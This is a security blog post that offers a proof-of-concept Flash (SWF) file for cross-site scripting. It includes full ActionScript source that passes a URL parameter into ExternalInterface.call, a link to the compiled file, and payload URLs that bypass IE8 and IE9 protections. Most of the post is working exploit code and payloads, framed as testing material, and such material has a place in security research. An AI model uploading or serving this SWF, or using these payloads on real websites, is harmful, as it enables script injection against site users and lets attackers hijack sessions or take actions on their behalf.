As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.

 

This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.

 

Note: IE has a protection to make the “document” object inaccessible when you open a SWF directly in a browser. I have bypassed IE8 protection by using a simple redirection in Javascript. I have also found a noisy way to bypass IE9 protection by opening a new window (you may be able to do it in a less noisy way – please leave your comments if you know any other bypass method).

 

Here is the actionscript code:

 

package
{
    import flash.display.Sprite;
    import flash.external.*;
    import flash.system.System;
    public class XSSProject extends Sprite
    {
        public function XSSProject()
        {
            flash.system.Security.allowDomain("*");
            ExternalInterface.marshallExceptions = true;
            try {
                ExternalInterface.call("0);}catch(e){};"+root.loaderInfo.parameters.js+"///*PoC by Soroush Dalili @IRSDL - only for testing/educational purposes - He accepts no responsibility for any bad/malicious usage*/");
            } catch(e:Error) {
                trace(e);
            }
        }
    }
}

 

Compiled file is accessbile via: http://0me.me/demo/xss/xssproject.swf

 

Examples:

 

Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

 

IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}

 

IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);

 

 

[1] The other reason to beware ExternalInterface.call() (URL: http://lcamtuf.blogspot.co.uk/2011/03/other-reason-to-beware-of.html)

 

[2] Flash ExternalInterface.call() JavaScript Injection – can make the websites vulnerable to XSS (URL:http://soroush.secproject.com/blog/2011/03/flash-externalinterface-call-javascript-injection-%E2%80%93-can-make-the-websites-vulnerable-to-xss/)

 

from:http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/